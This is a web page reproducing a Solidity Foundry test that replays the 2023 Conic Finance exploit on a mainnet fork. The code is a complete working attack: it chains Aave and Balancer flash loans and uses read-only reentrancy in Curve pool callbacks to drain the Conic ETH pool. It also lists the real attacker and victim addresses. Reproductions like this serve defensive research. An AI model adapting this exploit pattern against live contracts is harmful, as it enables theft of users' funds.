Public reproduction file
src/test/2023-07/Conic_exp.sol
Public reproduction file for dataset entry Conic Finance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~3.25M USD$8// Attacker : https://etherscan.io/address/0x8d67db0b205e32a5dd96145f022fa18aae7dc8aa9// Attack Contract : https://etherscan.io/address/0x743599ba5cfa3ce8c59691af5ef279aaafa2e4eb10// Vulnerable Contract : https://etherscan.io/address/0xbb787d6243a8d450659e09ea6fd82f1c859691e911// Attack Tx : https://etherscan.io/tx/0x8b74995d1d61d3d7547575649136b8765acb22882960f0636941c44ec7bbe14613// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0xbb787d6243a8d450659e09ea6fd82f1c859691e9#code16// @Analysis17// Post-mortem : https://medium.com/@ConicFinance/post-mortem-eth-and-crvusd-omnipool-exploits-c9c7fa213a3d18// Twitter Guy : https://twitter.com/BlockSecTeam/status/168235624429901004920interface IConicEthPool {21 function handleDepeggedCurvePool(22 address23 ) external;25 function deposit(uint256 underlyingAmount, uint256 minLpReceived, bool stake) external returns (uint256);27 function withdraw(uint256 conicLpAmount, uint256 minUnderlyingReceived) external returns (uint256);28}30interface IGenericOracleV2 {31 function getUSDPrice(32 address33 ) external returns (uint256);34}36interface ICurve {37 function exchange(uint256 i, uint256 j, uint256 dx, uint256 min_dy) external payable returns (uint256);39 function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount) external payable returns (uint256);41 function remove_liquidity(42 uint256 token_amount,43 uint256[2] memory min_amounts,44 bool use_eth,45 address receiver46 ) external;47}49contract ContractTest is Test {50 IWFTM WETH = IWFTM(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));51 IERC20 rETH = IERC20(0xae78736Cd615f374D3085123A210448E74Fc6393);52 IERC20 stETH = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84);53 IERC20 cbETH = IERC20(0xBe9895146f7AF43049ca1c1AE358B0541Ea49704);54 IERC20 steCRV = IERC20(0x06325440D014e39736583c165C2963BA99fAf14E);55 IERC20 cbETH_ETH_LP = IERC20(0x5b6C539b224014A09B3388e51CaAA8e354c959C8);56 IERC20 rETH_ETH_LP = IERC20(0x6c38cE8984a890F5e46e6dF6117C26b3F1EcfC9C);57 IERC20 cncETH = IERC20(0x3565A68666FD3A6361F06f84637E805b727b4A47);58 ICurve rETH_ETH_Pool = ICurve(0x0f3159811670c117c372428D4E69AC32325e4D0F);59 ICurve cbETH_ETH_Pool = ICurve(0x5FAE7E604FC3e24fd43A72867ceBaC94c65b404A);60 IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);61 IAaveFlashloan aaveV2 = IAaveFlashloan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);62 IAaveFlashloan aaveV3 = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);63 ICurvePool LidoCurvePool = ICurvePool(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022);64 IConicEthPool ConicEthPool = IConicEthPool(0xBb787d6243a8D450659E09ea6fD82F1C859691e9);65 IGenericOracleV2 Oracle = IGenericOracleV2(0x286eF89cD2DA6728FD2cb3e1d1c5766Bcea344b0);66 uint256 nonce;68 function setUp() public {69 vm.createSelectFork("mainnet", 17_740_954);70 vm.label(address(WETH), "WETH");71 vm.label(address(steCRV), "steCRV");72 vm.label(address(cbETH_ETH_LP), "cbETH_ETH_LP");73 vm.label(address(rETH_ETH_LP), "rETH_ETH_LP");74 vm.label(address(cncETH), "cncETH");75 vm.label(address(stETH), "stETH");76 vm.label(address(rETH), "rETH");77 vm.label(address(cbETH), "cbETH");78 vm.label(address(LidoCurvePool), "LidoCurvePool");79 vm.label(address(rETH_ETH_Pool), "rETH_ETH_Pool");80 vm.label(address(cbETH_ETH_Pool), "cbETH_ETH_Pool");81 vm.label(address(cncETH), "cncETH");82 vm.label(address(Balancer), "Balancer");83 vm.label(address(aaveV3), "aaveV3");84 vm.label(address(aaveV2), "aaveV2");85 vm.label(address(ConicEthPool), "ConicEthPool");86 vm.label(address(Oracle), "Oracle");87 }89 function testExploit() external {90 deal(address(this), 0);91 WETH.approve(address(rETH_ETH_Pool), type(uint256).max);92 WETH.approve(address(LidoCurvePool), type(uint256).max);93 WETH.approve(address(cbETH_ETH_Pool), type(uint256).max);94 WETH.approve(address(ConicEthPool), type(uint256).max);95 stETH.approve(address(LidoCurvePool), type(uint256).max);96 rETH.approve(address(rETH_ETH_Pool), type(uint256).max);97 cbETH.approve(address(cbETH_ETH_Pool), type(uint256).max);99 aaveV2Flashloan();101 sellAllTokenToWETH();102 emit log_named_decimal_uint(103 "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()104 );105 }107 function aaveV2Flashloan() internal {108 address[] memory assets = new address[](1);109 assets[0] = address(stETH);110 uint256[] memory amounts = new uint256[](1);111 amounts[0] = 20_000 ether;112 uint256[] memory modes = new uint256[](1);113 modes[0] = 0;114 aaveV2.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);115 }117 // @Info aaveV2 flashLoan callback118 function executeOperation(119 address[] calldata assets,120 uint256[] calldata amounts,121 uint256[] calldata premiums,122 address initiator,123 bytes calldata params124 ) external returns (bool) {125 aaveV3.flashLoanSimple(address(this), address(cbETH), 850 ether, new bytes(0), 0);126 IERC20(assets[0]).approve(address(aaveV2), amounts[0] + premiums[0]);127 return true;128 }130 // @Info aaveV3 flashLoan callback131 function executeOperation(132 address asset,133 uint256 amount,134 uint256 premium,135 address initator,136 bytes calldata params137 ) external payable returns (bool) {138 balancerFlashloan();139 IERC20(asset).approve(address(aaveV3), premium + amount);140 return true;141 }143 function balancerFlashloan() internal {144 address[] memory tokens = new address[](3);145 tokens[0] = address(rETH);146 tokens[1] = address(cbETH);147 tokens[2] = address(WETH);148 uint256[] memory amounts = new uint256[](3);149 amounts[0] = 20_550 ether;150 amounts[1] = 3000 ether;151 amounts[2] = 28_504.2 ether;152 bytes memory userData = "";153 Balancer.flashLoan(address(this), tokens, amounts, userData);154 }156 // @Info balancerVault flashLoan callback157 function receiveFlashLoan(158 address[] memory tokens,159 uint256[] memory amounts,160 uint256[] memory feeAmounts,161 bytes memory userData162 ) external {163 // repeatedly deposit WETH to ConicEthPool and swap cbETH,rETH to WETH164 for (uint256 i; i < 7; ++i) {165 ConicEthPool.deposit(1214 ether, 0, false);166 cbETH_ETH_Pool.exchange(1, 0, 121 ether, 0);167 rETH_ETH_Pool.exchange(1, 0, 121 ether, 0);168 }170 reenter_1();172 emit log_named_decimal_uint(173 "before Read-Only-Reentrancy cbETH_ETH_LP Price",174 Oracle.getUSDPrice(address(cbETH_ETH_LP)),175 cbETH_ETH_LP.decimals()176 );177 reenter_2();179 emit log_named_decimal_uint(180 "before Read-Only-Reentrancy rETH_ETH_LP Price",181 Oracle.getUSDPrice(address(rETH_ETH_LP)),182 rETH_ETH_LP.decimals()183 );184 reenter_3();186 // repay flashLoan187 rETH_ETH_Pool.exchange(0, 1, 3450 ether, 0); // swap WETH to rETH188 cbETH_ETH_Pool.exchange(0, 1, 850 ether, 0); // swap WETH to cbETH189 ConicEthPool.withdraw(cncETH.balanceOf(address(this)), 0);190 WETH.deposit{value: address(this).balance}();191 rETH_ETH_Pool.exchange(0, 1, 1100 ether, 0); // swap WETH to rETH192 WETH.withdraw(300 ether);193 LidoCurvePool.exchange{value: 300 ether}(0, 1, 300 ether, 0); // swap WETH to stETH195 IERC20(tokens[0]).transfer(msg.sender, amounts[0] + feeAmounts[0]);196 IERC20(tokens[1]).transfer(msg.sender, amounts[1] + feeAmounts[1]);197 IERC20(tokens[2]).transfer(msg.sender, amounts[2] + feeAmounts[2]);198 }200 function reenter_1() internal {201 WETH.withdraw(20_000 ether);202 uint256[2] memory amount;203 amount[0] = 20_000 ether;204 amount[1] = stETH.balanceOf(address(this));205 LidoCurvePool.add_liquidity{value: 20_000 ether}(amount, 0); // mint steCRV206 amount[0] = 0;207 amount[1] = 0;208 emit log_named_decimal_uint(209 "before Read-Only-Reentrancy steCRV Price", Oracle.getUSDPrice(address(steCRV)), steCRV.decimals()210 );211 nonce++;212 LidoCurvePool.remove_liquidity(steCRV.balanceOf(address(this)), amount); // burn steCRV, first reentrancy enter point213 }215 function reenter_2() internal {216 uint256[2] memory amount;217 WETH.withdraw(WETH.balanceOf(address(this)) - 4 ether);218 cbETH_ETH_Pool.exchange(1, 0, cbETH.balanceOf(address(this)), 0); // swap cbETH to WETH219 amount[0] = 1.8 ether;220 amount[1] = 0;221 cbETH_ETH_Pool.add_liquidity(amount, 0); // mint cbETH/ETH-f222 amount[0] = 0;224 nonce++;225 cbETH_ETH_Pool.remove_liquidity(cbETH_ETH_LP.balanceOf(address(this)), amount, true, address(this)); // burn cbETH/ETH-f, second reentrancy enter point226 }228 function reenter_3() internal {229 cbETH_ETH_Pool.exchange(0, 1, WETH.balanceOf(address(this)), 0); // swap WETH to cbETH230 rETH_ETH_Pool.exchange(1, 0, rETH.balanceOf(address(this)), 0); // swap rETH to WETH231 uint256[2] memory amount;232 amount[0] = 2.4 ether;233 amount[1] = 0;234 rETH_ETH_Pool.add_liquidity(amount, 0); // mint rETH/ETH-f235 amount[0] = 0;237 nonce++;238 rETH_ETH_Pool.remove_liquidity(rETH_ETH_LP.balanceOf(address(this)), amount, true, address(this)); // burn rETH/ETH-f, third reentrancy enter point239 }241 receive() external payable {242 if (msg.sender != address(WETH)) {243 if (nonce == 1) {244 emit log_named_decimal_uint(245 "In Read-Only-Reentrancy steCRV Price", Oracle.getUSDPrice(address(steCRV)), steCRV.decimals()246 );247 ConicEthPool.handleDepeggedCurvePool(address(LidoCurvePool)); // set LidoCurvePool as depegged pool248 } else if (nonce == 2) {249 emit log_named_decimal_uint(250 "In Read-Only-Reentrancy cbETH_ETH_LP Price",251 Oracle.getUSDPrice(address(cbETH_ETH_LP)),252 cbETH_ETH_LP.decimals()253 );254 ConicEthPool.handleDepeggedCurvePool(address(cbETH_ETH_Pool)); // set cbETH_ETH_Pool as depegged pool255 } else if (nonce == 3) {256 emit log_named_decimal_uint(257 "In Read-Only-Reentrancy rETH_ETH_LP Price",258 Oracle.getUSDPrice(address(rETH_ETH_LP)),259 rETH_ETH_LP.decimals()260 );261 ConicEthPool.withdraw(6292 ether, 0); // withdraw assets from ConicEthPool262 nonce++;263 }264 }265 }267 function sellAllTokenToWETH() internal {268 cbETH_ETH_Pool.exchange(1, 0, cbETH.balanceOf(address(this)), 0);269 rETH_ETH_Pool.exchange(1, 0, rETH.balanceOf(address(this)), 0);270 LidoCurvePool.exchange(1, 0, stETH.balanceOf(address(this)), 0);271 WETH.deposit{value: address(this).balance}();272 }273}Analysis
Dataset entry
Public Foundry test for “Conic Finance” (2023-07-21). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-07/ApeDAO_exp.solSame month in the dataset · 103 lines
- src/test/2023-07/ArcadiaFi_exp.solSame month in the dataset · 288 lines
- src/test/2023-07/AzukiDAO_exp.solSame month in the dataset · 87 lines
- src/test/2023-07/Bamboo_exp.solSame month in the dataset · 85 lines
- src/test/2023-07/Bao_exp.solSame month in the dataset · 174 lines
- src/test/2023-07/BNO_exp.solSame month in the dataset · 94 lines
- src/test/2023-07/Carson_exp.solSame month in the dataset · 100 lines
- src/test/2023-07/Civfund_exp.solSame month in the dataset · 250 lines
- src/test/2023-07/CIVNFT_exp.solSame month in the dataset · 116 lines
- src/test/2023-07/Conic02_exp.solSame month in the dataset · 131 lines
- src/test/2023-07/Curve_exp01.solSame month in the dataset · 95 lines
- src/test/2023-07/FFIST_exp.solSame month in the dataset · 80 lines
- src/test/2023-07/GYMNET_exp.solSame month in the dataset · 148 lines
- src/test/2023-07/Libertify_exp.solSame month in the dataset · 149 lines
- src/test/2023-07/MintoFinance_exp.solSame month in the dataset · 104 lines
- src/test/2023-07/NewFi_exp.solSame month in the dataset · 99 lines
- src/test/2023-07/Palmswap_exp.solSame month in the dataset · 105 lines
- src/test/2023-07/Platypus02_exp.solSame month in the dataset · 93 lines
- src/test/2023-07/RodeoFinance_exp.solSame month in the dataset · 152 lines
- src/test/2023-07/SUT_exp.solSame month in the dataset · 104 lines
- src/test/2023-07/USDTStakingContract28_exp.solSame month in the dataset · 64 lines
- src/test/2023-07/Utopia_exp.solSame month in the dataset · 86 lines
- src/test/2023-07/WGPT_exp.solSame month in the dataset · 140 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x8d67db0b205e32a5dd96145f022fa18aae7dc8aa
- Attack Contract
0x743599ba5cfa3ce8c59691af5ef279aaafa2e4eb
- Vulnerable Contract
0xbb787d6243a8d450659e09ea6fd82f1c859691e9
- Attack Tx
0x8b74995d1d61d3d7547575649136b8765acb22882960f0636941c44ec7bbe146
- Post: https://medium.com/@ConicFinance/post-mortem-eth-and-crvusd-omnipool-exploits-c9c7fa213a3d
- Twitter: https://twitter.com/BlockSecTeam/status/1682356244299010049
- Explorer: https://etherscan.io/address/0x8d67db0b205e32a5dd96145f022fa18aae7dc8aa
- Explorer: https://etherscan.io/address/0x743599ba5cfa3ce8c59691af5ef279aaafa2e4eb
- Explorer: https://etherscan.io/address/0xbb787d6243a8d450659e09ea6fd82f1c859691e9
- Explorer: https://etherscan.io/address/0xbb787d6243a8d450659e09ea6fd82f1c859691e9#code
File record
- Name
- Conic Finance
- Path
- src/test/2023-07/Conic_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- f7c0568e32af9fa53419543279b53477b2c71609
- Language
- Solidity
- Size
- 274 lines
- Date
- 2023-07-21
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-07/Conic_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f7c0568e32af9fa53419543279b53477b2c71609, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.